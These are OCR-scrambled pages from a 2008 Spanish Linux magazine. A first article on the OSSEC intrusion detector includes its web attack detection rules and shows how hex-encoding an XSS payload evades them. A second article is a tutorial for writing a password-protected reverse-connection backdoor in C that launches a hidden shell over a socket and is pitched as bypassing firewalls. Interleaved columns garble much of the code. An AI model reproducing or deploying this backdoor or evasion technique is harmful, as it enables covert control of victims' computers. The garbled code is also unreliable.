La interfaz web de usuario es de reciente creación y si bien aún no aglutina demasiadas funcionalidades, proporciona una rápida y cómoda visualización y búsqueda de alertas. Asimismo permite examinar con facilidad la BBDD de integridad de ficheros. El proceso de instalación es muy sencillo, si bien tiene como requisito previo tener un servidor web instalado con soporte para php, lenguaje en el que está programada esta interfaz. La interfaz web está disponible gratuitamente (y licenciada bajo la GPLv2) en la web oficial de OSSEC. En el momento de elaboración de este artículo la versión estable es la v0.3: http://www.ossec.net/files/ui/ossec-wui0.3.tar.gz. Desempaquetamos y descomprimimos el fichero en el RocumentRoot del servidor web: # tar zxvf ossec-wui-0.3.tar.gz Sobre el directorio resultante ejecutamos el script de instalación: # ./setup.sh

usr/X11R6/.zk/xfs ! ZK rootkit :: usr/X11R6/.zk/echo ! ZK rootkit :: etc/sysconfig/console/load.zk ! ZK rootkit ::

Listado 8. Ficheros correlados <localfile> <log_format>syslog</log_format> <location>/var/log/messages</location> </localfile <localfile> <log_format>syslog</log_format> <location>/var/log/secure</location> </localfile> <localfile> <log_format>syslog</log_format> <location>/var/log/syslog</location> </localfile> ......

30

respuesta activa se encuentra deshabilitada y su configuración será omitida en este artículo. Bajo la etiqueta Alert tenemos el nivel de alerta a partir del cual se registran eventos, el nivel puede variar de 0 a 15, siendo a mayor número mayor la gravedad de la alerta. La etiqueta email_alert_level permite definir que sólo se envíen por correo electrónico aquellas alertas por encima de determinada gravedad. Ficheros correlados están presentados en el Listado 8. Bajo las etiquetas log_format se indica el tipo de formato que utilizarán las trazas que OSSEC correla. Esta correlación de trazas es complicada debido a que cada aplicación utiliza una sintáxis distinta. Hasta la fecha OSSEC soporta varios formatos entre los que se incluyen:

Linux+ 9/2008


seguridad Ossec Añadimos en el fichero /etc/group de nuestro servidor web al grupo ossec, por ejemplo si nuestro servidor se ejecuta con el usuario nobody la linea quedaría similar a esta: ossec: x:1003:nobody

Una vez configurado, ya tenemos acceso vía web a la interfaz de visualización de alertas de OSSEC. Hay que destacar que por defecto la aplicación web no incorpora formulario de autenticación, y esto puede ser peligroso en determinados entornos, por lo que en los casos en que sea necesario habrá que establecer dicha autenticación a través del servidor web (autenticación BASIC por ejemplo). En el siguiente ejemplo mostramos una imagen de la interfaz web. En ella se ha realizado una búsqueda y se han obtenido las alertas correspondientes. En este caso ha saltado la alerta de uso del comando su con contraseña incorrecta.

Ventajas

Tras lo visto hasta ahora uno puede pensar que ha dado con el programa perfecto dadas sus más que evidentes virtudes: barato (el módico precio de 0 €, se aceptan donaciones a través de Paypal), no carga la máquina en exceso, multiplataforma, fácil de instalar, proporciona correlación en una rica variedad de logs, detector de rootkits, control de integridad e incluso respuesta activa. Tras esta reflexión uno se pregunta si estamos ante la herramienta definitiva. La respuesta es no. Tiene sus ventajas, sí, pero como veremos a continuación no es infalible.

Evadiendo ossec en un ataque de xss

La creación y personalización de reglas da para un artículo en sí mismo por lo que utilizaremos como ejemplo una regla muy simple y fácilmente entendible. A continuación

demostraremos que, si bien la correlación de eventos puede detectar intentos de intrusiones no es la píldora mágica de la seguridad ni muchísimo menos. En concreto nos centramos en la única regla anti Cross Site Scripting (XSS) de OSSEC. Esta regla se encuentra definida en el fichero web_rules.xml y tiene el aspecto mostrado en el Listado 9. De manera que si la regla 31105 (XSS) salta y el código de resultado que devuelve el servidor es un 200 OK salta la alerta 31106 (A web attack returned code 200). Lo primero que hay que destacar es que la búsqueda de patrones se realiza sobre los ficheros de log del servidor web. En el caso de Apache estos tags aparecerán en el fichero access_log con lo cual tenemos la primera debilidad cualquier intento de XSS utilizando

el método POST no será detectado. Tampoco serán detectados los intentos de XSS en las cabeceras http. Esto es debido a que por lo general una traza del fichero access_log tiene el siguiente aspecto en el caso de un GET: 127.0.0.1 - - [27/Apr/2008:19:30: 44 +0200] "GET /ossec/index.php? f=VALOR_DEL_PARAMETRO HTTP/1.1" 200 259

En el caso de que se produzca inyección de código en el parámetro f podrá ser monitorizado. Sin embargo en el caso de utilizar el método POST el valor del parámetro no queda registrado en la traza por lo que no se puede monitorizar, como vemos en el siguiente ejemplo de traza que hace uso del método POST:

Listado 9. La única regla anti Cross Site Scripting (XSS) de OSSEC <rule id="31105" level="6"> <if_sid>31100</if_sid> <url>%3Cscript|%2Fscript|script>|script%3E|SRC=javascript|IMG%20|</url> <url>%20ONLOAD=|INPUT%20|iframe%20</url> <description>XSS (Cross Site Scripting) attempt.</description> <group>attack,</group> </rule> En este caso la detección del XSS se basa en una pequeña lista negra contra la cual se realizan comparaciones. Los strings contra los que se correla el log en cuestión para hacer saltar la alerta son los siguientes: %3Cscript %2Fscript script> script%3E SRC=javascript IMG%20 %20ONLOAD= INPUT%20 iframe%20 Esta regla está relacionada con la que veremos a continuación:

En la red • •

• •

• • •

Pagina oficial del proyecto OSSEC http://ossec.net/ Blog de Daniel B. Cid, creador del proyecto OSSEC http://ossec.net/dcid/ Blog del Tiger Team de SIA http://www.514.es/ The Cross Site Scripting (XSS) FAQ http://www.cgisecurity.com/articles/ xss-faq.shtml Libro: OSSEC HIDS – Host Based Intrusion Detection Guide Editorial: Syngress, 2008 ISBN 13:978-1-59749-240-9

<rule id="31106" level="12"> <if_sid>31103, 31104,31105</if_sid> <id>^200</id> <description>A web attack returned code 200(success).</description> <group>attack,</group> </rule>

Listado 10. Una alerta ** Alert 1209321044.76264: mail - web,accesslog,attack, 2008 Apr 27 20:30:44 MI_SERVIDOR->/var/log/httpd/access_log Rule: 31106 (level 12) -> 'A web attack returned code 200 (success).' Src IP: 127.0.0.1 User: (none) 127.0.0.1 - - [27/Apr/2008:20:30:43 +0200] "GET /ossec/ index.php?f=s%3Cscript HTTP/1.1" 200 2593

www.lpmagazine.org

31


seguridad Ossec Listado 11. Ossec conf <ossec_config>

<frequency>21600</frequency>

<global> <email_notification>yes</email_notification>

<!-- Directories to check

<email_to>dmedianero@gmail.com</email_to>

(perform all possible

verifications) -->

<smtp_server>alt1.gmail-smtp-in.l.google.com.</ smtp_server>

<directories check_all="yes">/etc,/usr/bin,/usr/ sbin</directories>

<email_from>ossecm@atlantida</email_from>

<directories check_all="yes">/bin,/sbin</

</global>

directories>

<rules>

<!-- Files/directories to ignore -->

<include>rules_config.xml</include>

<ignore>/etc/mtab</ignore>

<include>pam_rules.xml</include>

<ignore>/etc/mnttab</ignore>

<include>sshd_rules.xml</include>

<ignore>/etc/hosts.deny</ignore>

<include>telnetd_rules.xml</include>

<ignore>/etc/mail/statistics</ignore>

<include>syslog_rules.xml</include>

<ignore>/etc/random-seed</ignore>

<include>arpwatch_rules.xml</include>

<ignore>/etc/adjtime</ignore>

<include>symantec-av_rules.xml</include>

<ignore>/etc/httpd/logs</ignore>

<include>symantec-ws_rules.xml</include>

<ignore>/etc/utmpx</ignore>

<include>pix_rules.xml</include>

<ignore>/etc/wtmpx</ignore>

<include>named_rules.xml</include>

<ignore>/etc/cups/certs</ignore>

<include>smbd_rules.xml</include>

<ignore>/etc/dumpdates</ignore>

<include>vsftpd_rules.xml</include>

<ignore>/etc/svc/volatile</ignore>

<include>pure-ftpd_rules.xml</include> <include>proftpd_rules.xml</include>

<!-- Windows files to ignore -->

<include>ms_ftpd_rules.xml</include>

<ignore>C:\WINDOWS/System32/LogFiles</ignore>

<include>hordeimp_rules.xml</include>

<ignore>C:\WINDOWS/Debug</ignore>

<include>vpopmail_rules.xml</include>

<ignore>C:\WINDOWS/WindowsUpdate.log</ignore>

<include>courier_rules.xml</include>

<ignore>C:\WINDOWS/iis6.log</ignore>

<include>web_rules.xml</include>

<ignore>C:\WINDOWS/system32/wbem/Logs</ignore>

<include>apache_rules.xml</include>

<ignore>C:\WINDOWS/system32/wbem/Repository</

<include>mysql_rules.xml</include>

ignore>

<include>postgresql_rules.xml</include>

<ignore>C:\WINDOWS/Prefetch</ignore>

<include>ids_rules.xml</include>

<ignore>C:\WINDOWS/PCHEALTH/HELPCTR/DataColl</

<include>squid_rules.xml</include>

ignore>

<include>firewall_rules.xml</include>

<ignore>C:\WINDOWS/SoftwareDistribution</ignore>

<include>cisco-ios_rules.xml</include>

<ignore>C:\WINDOWS/Temp</ignore>

<include>netscreenfw_rules.xml</include>

<ignore>C:\WINDOWS/system32/config</ignore>

<include>sonicwall_rules.xml</include>

<ignore>C:\WINDOWS/system32/spool</ignore>

<include>postfix_rules.xml</include>

<ignore>C:\WINDOWS/system32/CatRoot</ignore>

<include>sendmail_rules.xml</include>

</syscheck>

<include>imapd_rules.xml</include> <include>mailscanner_rules.xml</include>

<rootcheck>

<include>ms-exchange_rules.xml</include>

<rootkit_files>/var/ossec/etc/shared/rootkit_

<include>racoon_rules.xml</include>

files.txt</rootkit_files>

<include>vpn_concentrator_rules.xml</include>

<rootkit_trojans>/var/ossec/etc/shared/rootkit_

<include>spamd_rules.xml</include>

trojans.txt</rootkit_trojans>

<include>msauth_rules.xml</include>

<system_audit>/var/ossec/etc/shared/system_audit_

<!-- <include>policy_rules.xml</include> -->

rcl.txt</system_audit>

<include>attack_rules.xml</include>

</rootcheck>

<include>zeus_rules.xml</include> <include>solaris_bsm_rules.xml</include>

<active-response>

<include>ossec_rules.xml</include>

<disabled>yes</disabled>

<include>local_rules.xml</include>

</active-response>

</rules> <syscheck>

<!-- Frequency that syscheck is executed - default

<alerts>

to every 6 hours -->

32

Linux+ 9/2008

<log_alert_level>1</log_alert_level> <email_alert_level>7</email_alert_level>


seguridad Ossec puede ser configurado para que sí se muestren aunque en su configuración por defecto no es /index.php HTTP/1.1" 200 259 así y no es habitual encontrarse con servidores Apache que muestren mucha más información De la misma manera no quedan registrados en sus trazas de las expuestas aquí). Nos situalos valores de la cabecera (El servidor Apache mos en el caso de que el ataque se produzca 127.0.0.1 - - [27/Apr/2008:19 :30:44 +0200] "POST /ossec

Listado 11. Ossec conf (continuación)

Listado 12. Ossec script inicio

</alerts>

#!/bin/sh

<!-- Files to monitor (localfiles)

# OSSEC

-->

Controls OSSEC

HIDS

<localfile>

# Author:

Daniel B. Cid

<log_format>syslog</log_format>

<dcid@ossec.net>

<location>/var/log/messages</

# Modified for slackware by Jack S.

location>

Lai

</localfile> . /etc/ossec-init.conf <localfile> <log_format>syslog</log_format> <location>/var/log/secure</

if [ "X${DIRECTORY}" = "X" ]; then DIRECTORY="/var/ossec"

fi

location> </localfile>

start() {

<localfile>

control start

${DIRECTORY}/bin/ossec<log_format>syslog</log_format>

} stop() {

HTTP/1.1" 200 2593 ${DIRECTORY}/bin/ossec-

control stop }

<log_format>syslog</log_format> <location>/var/adm/syslog</

status() {

location> </localfile>

${DIRECTORY}/bin/osseccontrol status }

<localfile> <log_format>syslog</log_format> <location>/var/adm/messages</

case "$1" in start)

location>

start

</localfile>

;; stop)

<localfile> <log_format>syslog</log_format>

stop start

<localfile> <location>/var/log/httpd/error_

;; status) status

log</location> </localfile>

;; *)

<localfile> <log_format>apache</log_format>

echo "*** Usage: $0 {start |stop|restart|status}"

<location>/var/log/httpd/ access_log</location>

exit 1 esac

</localfile> </ossec_config>

Conlusiones

OSSEC es una herramienta que proporciona unas funcionalidades muy beneficiosas propias de un HIDS, como la personalización de las reglas de correlación, el control de integridad, envío de alertas por correo electrónico, detección de rootkits, etc. Además, resulta muy beneficioso

;; restart)

</localfile>

<log_format>apache</log_format>

Sin embargo en el detector de intrusos no salta la alarma. Hemos conseguido realizar el ataque evandiendo el detector de intrusos. Esta técnica de evasión funciona también en el caso de otros tipos de inyección de código (SQL Injection, LDAP Inyection, etc).

stop

<location>/var/log/maillog</ location>

+0200] "GET /ossec/ %73%63%72%69%70%74

</localfile> <localfile>

127.0.0.1 - - [27/Apr/2008:20:41:28 index.php?f=s%3c

<location>/var/log/syslog</ location>

utilizando el método GET. En este caso el correlador de logs compara con la lista negra y en caso afirmativo produce la alerta presentada en el Listado 10. Huelga decir que estas alertas pueden visualizarse mediante la interfaz web, si bien para el propósito de este artículo las he copiado directamente tal como OSSEC las deposita en el fichero /var/ossec/logs/alerts/ alerts.log, fichero sobre el que lee la interfaz web. Observamos que en este caso el patrón %3Cscript ha hecho saltar las alarmas. A partir de aquí no es difícil imaginar que la correlación con la lista negra es evitable si realizamos una inyección de código no contemplada en la lista negra. Ni siquiera tenemos que utilizar otros tags html( <h1>, <marquee>, etc ), si probamos la misma inyección que produjo la alerta pero ofuscada utilizando para ello codificación hexadecimal comprobados la cadena en el fichero access_log:

exit 0

www.lpmagazine.org

Sobre el autor Daniel Medianero García es CEH (Certified Ethikal Hacker) por EC-Council, Ingeniero Técnico en informática de gestión y trabaja como Consultor de seguridad en el Tiger Team (514) de SIA (Sistemas Informáticos Abiertos). Está interesado en la seguridad de la información, especialmente en el campo de seguridad web, informática forense y sistemas operativos Linux y BSD. Es uno de los creadores del portal Open-Eslack, dedicado a la distribución Slackware Linux.

33


seguridad Ossec Listado 13. Web Rules

<group>attack,sql_injection,</group>

<!-- @(#) $Id: web_rules.xml,v 1.22 2007/07/19 23:49:56

</rule>

dcid Exp $ -

<rule id="31104" level="6">

Official Web access rules for OSSEC.

<if_sid>31100</if_sid> <!-- Attempt to do directory transversal, simple

Copyright (C) 2003-2007 Daniel B. Cid

<dcid@ossec.net> -

sql injections,

All rights reserved.

-

This program is a free software; you can

<url>%027|%00|%01|%7f|%2E%2E|%0A|%0D|../..|..\

redistribute it

..|echo;|..</url>

-

and/or modify it under the terms of the GNU

<url>cmd.exe|root.exe|_mem_bin|msadc|/winnt/|</url>

-

License (version 3) as published by the FSF - Free

General Public

<url>/x90/|default.ida|/sumthin|nsiislog.dll|chmod% |wget%|cd%|</url>

Software -

<url>cat%|exec%|rm%20</url>

Foundation.

<description>Common web attack.</description>

-

or access to the etc or bin directory (unix).

-->

<info>http://www.armbrustconsulting.com/ License details: http://www.ossec.net/en/

LogEntries.html</info>

licensing.html

<group>attack,</group>

-->

</rule> <rule id="31105" level="6">

<group name="web,accesslog,">

<if_sid>31100</if_sid>

<rule id="31100" level="0">

<url>%3Cscript|%2Fscript|script>|script%3E|SRC=java

<category>web-log</category>

script|IMG%20|</url>

<description>Access log messages grouped.</

<url>%20ONLOAD=|INPUT%20|iframe%20</url>

description>

<description>XSS (Cross Site Scripting) attempt.</

</rule>

description> <group>attack,</group>

<rule id="31101" level="5">

</rule>

<if_sid>31100</if_sid> <id>^4</id>

<rule id="31106" level="12">

<description>Web server 400 error code.</

<if_sid>31103, 31104, 31105</if_sid>

description>

<id>^200</id>

</rule>

<description>A web attack returned code 200 (success).</description>

<rule id="31102" level="0">

<group>attack,</group>

<if_sid>31101</if_sid>

</rule>

<id>^403|^404</id> <url>.jpg$|.gif$|favicon.ico$|.png$|robots.txt$|.c ss$</url>

<!-- If your site have a search engine, you may need

to ignore

- it in here. <!-- Add any other url to be ignored in here site)

(to avoid too many false positives from your

--> <rule id="31107" level="0"> <if_sid>31103, 31104, 31105</if_sid>

<url>|.html$|.jpe$</url>

<url>^/search.php?search=|^index.php?searchword=</

-->

url>

<description>Ignored URLs for the web attacks</

<description>Ignored extensions on 400 error codes.</description>

description>

</rule>

</rule>

<rule id="31103" level="6">

<rule id="31115" level="13" maxsize="2900">

<if_sid>31100</if_sid>

<if_sid>31100</if_sid>

<description>URL too long. Higher than allowed on

<url>='|select%20|select+|insert%20|%20from%20|%20w here%20|union%20|</url>

most </description>

<url>union+|where+|null,null|xp_cmdshell</url>

<description>browsers. Possible attack.</

<description>SQL injection attempt.</description>

34

description>

Linux+ 9/2008


seguridad Ossec que sea multiplataforma, la instalación en modo servidor, agente y local, la posibilidad de configurar respuesta activa. Todas estas funcionalidades hacen de OSSEC una herramienta de referencia en el campo de los HIDS, y el aprovechamiento

de las mismas puede resultar sumamente beneficioso para la seguridad de nuestros sistemas. Sin embargo, al respecto de la correlación de eventos hay que destacar que si bien puede prevenir algunos tipos de ataques, no es la panacea para

Listado 13. Web Rules (continuación)

la detección de los mismos. Estos detectores pueden ser evadidos sin demasiada dificultad. El uso de listas negras en las reglas de correlación es a menudo insuficiente y tiene como riesgo añadido la falsa sensación de seguridad que aporta.

<description>Multiple SQL injection attempts from

<group>invalid_access,</group>

same </description>

</rule>

<description>souce ip.</description> <group>attack,sql_injection,</group>

<!-- 500 error codes, server error

</rule>

- http://www.w3.org/Protocols/rfc2616/rfc2616sec10.html

<rule id="31153" level="10" frequency="8"

-->

timeframe="120">

<rule id="31120" level="5">

<if_matched_sid>31104</if_matched_sid>

<if_sid>31100</if_sid>

<same_source_ip />

<id>^50</id>

<description>Multiple common web attacks from same

<description>Web server 500 error code (server error).</description>

souce ip.</description> <group>attack,</group>

</rule>

</rule>

<rule id="31121" level="4">

<rule id="31154" level="10" frequency="8"

<if_sid>31120</if_sid>

timeframe="120">

<id>^501</id>

<if_matched_sid>31105</if_matched_sid>

<description>Web server 501 error code (Not

<same_source_ip />

Implemented).</description>

<description>Multiple XSS (Cross Site Scripting)

</rule>

attempts </description>

<rule id="31122" level="5">

<description>from same souce ip.</description>

<if_sid>31120</if_sid>

<group>attack,</group>

<id>^500</id>

</rule>

<options>alert_by_email</options> <description>Web server 500 error code (Internal Error).</description>

<rule id="31161" level="10" frequency="8" timeframe="120">

<group>system_error,</group>

<if_matched_sid>31121</if_matched_sid>

</rule>

<same_source_ip /> <description>Multiple web server 501 error code

<rule id="31123" level="4">

(Not Implemented).</description>

<if_sid>31120</if_sid>

<group>web_scan,recon,</group>

<id>^503</id>

</rule>

<options>alert_by_email</options> <description>Web server 503 error code (Service unavailable).</description>

<rule id="31162" level="10" frequency="5" timeframe="120">

</rule>

<if_matched_sid>31122</if_matched_sid> <same_source_ip />

<rule id="31151" level="10" frequency="10"

<description>Multiple web server 500 error code

timeframe="120">

(Internal Error).</description>

<if_matched_sid>31101</if_matched_sid>

<group>system_error,</group>

<same_source_ip />

</rule>

<description>Mutiple web server 400 error codes </description>

<rule id="31163" level="10" frequency="8"

<description>from same source ip.</description> <group>web_scan,recon,</group> </rule>

timeframe="120"> <if_matched_sid>31123</if_matched_sid> <same_source_ip /> <description>Multiple web server 503 error code

<rule id="31152" level="10" frequency="6" timeframe="120"> <if_matched_sid>31103</if_matched_sid> <same_source_ip />

(Service unavailable).</description> <group>web_scan,recon,</group> </rule> </group> <!-- Web access log -->

www.lpmagazine.org

35


seguridad Backdoors

Backdoors Multiplataformas Jose María García

linux@software.com.pl

En este artículo voy a tratar de explicar cómo crear una Backdoor o Puerta Trasera con conexión inversa y protegida por contraseña, en lenguaje C para Windows y Linux.

A

ntes de comenzar debo dar unas pequeñas nociones sobre programación de sockets para que los que no sepan programarlos, también aprendan. Para que dos programas puedan comunicarse entre sí, es necesario que se cumplan ciertos requisitos: que un programa sea capaz de localizar al otro, y que ambos programas sean capaces de intercambiar entre sí cualquier secuencia de octetos, es decir, datos relevantes a su finalidad. Para ello son necesarios los tres recursos que originan el concepto de socket: • • •

la comunicación, por este motivo se denomina programa servidor (http://es.wikipedia.org/wiki/Socket).

Teoría sobre Estructuras de Datos

Una Estructura de Datos no es más que una forma para almacenar datos. Supongamos que queremos hacer una lista de la compra, tendríamos que crear una estructura llamada Compra (para que sea fácil identificarla) en la que meteríamos variables como Tomates, Lechuga, Pan, etc. Y le daríamos un valor a cada variable para saber si tenemos que comprar ese alimento o no. La sintaxis para usarlas en C es:

Un protocolo de comunicaciones que permite el intercambio de octetos, struct nombre_de_la_estructura Una dirección IP que identifica a un ordenador, { Un número de puerto que identifica a un programa denvariable; tro de un ordenador. };

Los sockets permiten implementar una arquitectura clien- En el caso de la lista de la compra, la estructura podría ser: te-servidor. La comunicación ha de ser iniciada por uno de los programas, por este motivo se denomina programa struct Compra cliente. El segundo programa esperará a que otro inicie {

36

Linux+ 9/2008


seguridad Backdoors Listado 1. Abriendo un socket en Windows

int Pan; int Tomates; int Lechuga;

#include <stdio.h> #include <winsock.h>

};

De esta manera, cada vez que queramos referirnos a la estructura Compra tendremos que hacerlo como Lista_de_Compra, y se haría de la siguiente manera:

#pragma comment(lib, "WSOCK32.LIB")

//si tenemos que comprar solo

struct sockaddr_in Winsock_In;

Para usarla, sólo tenemos que crear un puntero Pan y Tomates a la estructura, como el siguiente: Lista_de_Compa.Pan=1;

int sock;

struct Compra Lista_de_Compra;

WSADATA wsaData;

struct hostent *Master;

Lista_de_Compra.Tomates=1;

/*iniciamos la librería para crear un socket*/

Listado 2. Abriendo un socket en Linux

==SOCKET_ERROR)

printf(''Error al crear

http://msdn.microsoft.com/library/default.a sp?url=/library/en-us/winprog/winprog/ functions _in_alphabetical_order.asp

//versión del socket

#include <stdio.h>

&wsaData

#include <netdb.h>

//estructura que recibe las

#include <sys/socket.h>

);

int sock;

SOCK_STREAM,

struct sockaddr_in Winsock_In;

if((sock=WSASocket(AF_INET, IPPROTO_TCP,NULL,

(unsigned int)NULL,

struct hostent *Master;

if((sock=socket(AF_INET, SOCK_STREAM,0))

(unsigned int)NULL)) ==INVALID_SOCKET)

{

{ printf("Error al crear el socket");

}

return -1;

/*pasamos el host a ip*/

el socket"); }

return -1;

Master=gethostbyname ("localhost");

Master=gethostbyname (''localhost'');

/*rellenamos la estructura que contiene los datos

Winsock_In.sin_family= AF_INET; // IPv4

de conexión*/ Winsock_In.sin_port=

Winsock_In.sin_port=

htons(4664);

htons(4664);

//puerto al que conectar Winsock_In.sin_family=

// Puerto al que conectar

AF_INET; //IPv4 Winsock_In.sin_addr.s_addr=*

Winsock_In.sin_addr=

((struct in_addr *)

*((struct in_addr *)

Master->h_addr); //Host-Ip

Master->h_addr); //host al

PROPOSITO

CreateProcess

Crear un proceso

DeleteFile

Eliminar un fichero

ShowWindow

Muestra/Oculta una ventana

...

...

Winsock_In,sizeof

(SOCKADDR*)&Winsock_In,

(struct sockaddr)) ==SOCKET_ERROR) {

==SOCKET_ERROR)

printf(''Error al conectar''); return -1;

{ printf("Error al conectar"); return -1;

API

sock_addr *)&

if(WSAConnect(sock,

NULL,NULL,NULL)

Tabla 1. Teoría sobre APIs

if(connect(sock,(struct

"Winsock_In"*/

sizeof(Winsock_In),NULL,

Nuestra Backdoor usará la conexión inversa, es decir, que el programa se conectará a nosotros para ofrecernos la administración del PC remoto, y no seremos nosotros los que nos conectemos a él. De esta manera, dependiendo del puerto que usemos, lograremos atravesar cortafuegos

que conectar

/*conectamos según los datos de la estructura

Teoría sobre APIs

API es la abreviación de Application Programming Interface. Una de sus funciones principales consiste en proporcionar un conjunto de funciones de uso general, dando al programador la ventaja de no tener que escribir todo desde el principio. Para usarlas en Windows es necesario declarar la cabecera windows.h. Puedes ver una lista de todas las APIs de Windows por orden alfabético en:

WSAStartup(MAKEWORD(2,2),

propiedades del socket

Lista_de_Compra.Lechuga=0;

//cerramos el socket

//cerramos la conexion WSACleanup();

close(sock);

}

}

Figura 1. Backdoor.Win32.Rbot.bnb

www.lpmagazine.org

37


seguridad Backdoors Listado 3a. Abriendo un socket multiplataforma

puts(''CONECTADO!'');

(FW Bypass) y conseguiremos traspasar redes LAN (LAN Bypass), ya que lo que hace que una conexión directa no tenga éxito hacia el servidor es que el firewall filtra los puertos cuando entran conexiones, pero no filtran un número determinado de puertos cuando la conexión se realiza hacia afuera. Hacia adentro de la red LAN sucede algo similar. El router es quien administra todas las conexiones entrantes y los puertos, de manera que tendríamos que configurar el router para que al conectar a un puerto redirigiese la conexión al PC que tuviera nuestra Backdoor (algo imposible si no se tiene acceso al router). Nota: En los códigos usaré el host (PC anfitrión) localhost y el puerto 4664, pero puedes usar el par que prefieras. Por desgracia, los sockets no se programan de igual forma en Windows y en Linux. Veamos un esquema de los pasos que se deben de dar en una y otra plataforma.

else{

Pasos a seguir en Windows

#include <stdio.h> //cabeceras y librerías según el SO #ifdef WIN32 #include <winsock.h> #pragma comment(lib, "WSOCK32.LIB") #else #include <netdb.h> #include <sys/socket.h> #define SOCKET_ERROR -1 #endif //socket int sock;

int main() {

int Conecta(char *Destino, short Puerto);

if(Conecta(''localhost'',4664) ==1)

{ }

Pasos que debemos seguir en sistemas Windows:

puts(''ERROR''); } //para cerrar la conexión #ifdef WIN32

• • •

WSACleanup(); #else close(sock); #endif }

• • •

return 0;

int Conecta(char *Destino, short Puerto) {

struct hostent *Master;

//si estamos en windows, cargamos la librería

• •

struct sockaddr_in Winsock_In;

#ifdef WIN32 WSADATA wsaData;

Para pasar esto a código tendremos que hacer lo que está en Listado 1.

/*iniciamos la librería para crear un socket*/ WSAStartup(MAKEWORD(2,2), //versión del socket &wsaData //estructura que recibe las propiedades del socket ); sock=WSASocket(AF_INET,SOCK_STREAM,

Pasos a seguir en Linux

Los pasos que debemos seguir en Linux: • •

IPPROTO_TCP,NULL,(unsigned int)NULL, (unsigned int)NULL);

#else

• •

sock=socket(AF_INET,SOCK_STREAM,0); #endif

if(sock==SOCKET_ERROR)

return 0;

Master=gethostbyname(Destino); Winsock_In.sin_family=AF_INET; // IPv4 Winsock_In.sin_port=htons(Puerto); //Puerto al que conectar Winsock_In.sin_addr= *((struct in_addr *)

• •

Incluir las cabeceras necesarias, Declarar las variables y estructuras necesarias, Crear el socket, Pasar del nombre Host a dirección IP (no es necesario, pero útil), Completar la estructura de datos necesarios para la conexión, Conectar, Desconectar.

Para pasar esto a código tendríamos que hacer lo que muestra Listado 2. Esto que acabo de

Master->h_addr); //host al que conectar

38

Incluir las cabeceras necesarias, Incluir la librería de sockets, Declarar las variables y estructuras necesarias, Cargar la librería del socket, Crear el socket, Pasar del nombre Host a la dirección IP (no es necesario, pero sí útil), Completar la estructura de datos necesarios para la conexión, Conectar, Desconectar.

Linux+ 9/2008


seguridad Backdoors mostrar sólo sirve para que tengas un esquema claro, pero para saber programarlos debes mirar las definiciones de cada función, tipos de socket, y usarlos según tu interés. Puedes encontrar mucha información sobre programación de sockets en C en estos enlaces: Guía Beej de programación en redes: http: //www.arrakis.es/~dmrq/beej/ Winsock Programmer´s Faq: http://tangen tsoft.net/wskfaq/ Errores Winsock: http://msdn.microsoft.co m/library/default.asp?url=/library/en-us/ winsock/winsock/windows_sockets_error_ codes_2.asp

• • •

Nota: Los pasos de pasar del nombre Host a la dirección IP no son pasos obligatorios pero sí muy recomendables, ya que si no lo hacemos, sólo podremos conectar si nos dan la IP, y no si nos dan el Host.

Uniendo códigos

Para que la Backdoor sea multiplataforma, deberemos modificar el código para que se ejecute la parte de código correspondiente a la plataforma donde se ejecute el programa. Para esto, usaremos la directiva #ifdef a lo largo de todo el programa, y según qué SO sea, haremos una cosa u otra:

El esquema más cómodo que podemos Reciben lo que el cliente envía, y en base a seguir a la hora de realizar la conexión, eso, realizan una acción u otra. es crear una función principal para hacer Yo voy a optar por lanzar un shell, ya que esa tarea, y dentro de ella usar la directiva de este modo, se tiene más control sobre el PC, #ifdef y seleccionar los pasos para crear la Listado 5. Lanzando un shell con seguridad de conexión. acceso Con este código ya podríamos realizar una conexión multiplataforma, pero el programa no sólo se basa en la conexión, sino en el control #include <string.h> del PC. Aquí se pueden optar por varias opcio#define PASSWORD ''mi_password\0'' nes en la manera de controlarlos, como lanzar #define LEN_BUF 1024 //numero directamente un shell, o controlar el PC a base de comandos preestablecidos en el código, que maximo de caracteres a es como funcionan las backdoors con GUI (intransferir terface gráfica). Listado 4. Lanzando un shell en Windows #include <windows.h>

printf("Estamos en Win"); #else //si no printf(''No estamos en Win''); #endif

int sock;

datos hemos transferido

/ 1 (correcto)

HANDLE hStdIn, hStdOut, hStdErr; STARTUPINFO si;

int Loggeado() {

PROCESS_INFORMATION pi; OSVERSIONINFO SOInfo;

//definimos los handles

if(PASSWORD!=NULL) {

char *shell;

se

hStdIn = hStdOut = hStdErr = (void*) conex; memset(&si, 0, sizeof(si));

do //creamos un bucle hasta que introduzca la contraseña

correcta { //limpiamos el buffer

si.cb = sizeof(si);

memset(Buffer,0,sizeof(char*));

si.hStdError = hStdErr; si.hStdOutput = hStdOut; si.hStdInput = hStdIn;

Listado 3b. Abriendo un socket multiplataforma

para enviar/recibir datos

int Recv; //para saber cuántos //devuelve 0 (incorrecto)

//rellenamos la estructura #ifdef WIN32 //si estamos en Windows

char Buffer[LEN_BUF]; //variable

//pedimos la contraseña send(sock,''\n[#] Introduce la

si.wShowWindow=SW_HIDE;

password: '', strlen(''\n[#]

si.dwFlags |=

Introduce la password: ''),0);

#ifdef WIN32

if(WSAConnect(sock,(SOCKADDR*)&

Winsock_In,

sizeof(Winsock_In),NULL,NULL,NU

LL,NULL)==

STARTF_USESTDHANDLES; GetVersionEx(&SOInfo);

if(SOInfo.dwPlatformId==

SOCKET_ERROR)

if(connect(sock,(struct sock_

addr *)&Winsock_In, sizeof(struct

LEN_BUF,0);

_WIN32_WINDOWS) //si estamos

//comprobamos si ha cerrado la conexion

if(Recv<=0)

en Win 9x

return 0;

{ shell=''command.com\0''; }else{

Buffer[Recv-1]='\0';

//si el SO es

Win NT, 2000,

sockaddr))==SOCKET_ERROR) return 0;

Recv=recv(sock,Buffer,

VER_PLATFORM

return 0; #else

//recibimos los datos

XP, o superior shell=''cmd.exe\0'';

} while(strcmp(Buffer,PASSWORD)!=0); send(sock,"[*] Aceptada!\n\n'',

}

strlen("[*] Aceptada!\n\n''),0);

#endif return 1;

}

} //creamos el proceso CreateProcess(NULL,shell,NULL,NULL, TRUE,0,NULL,NULL,&si,&pi);

www.lpmagazine.org

}

return 1;

39


seguridad Backdoors así que ahora vamos a ver qué necesitamos para lanzar un shell en ambas plataformas.

En Windows

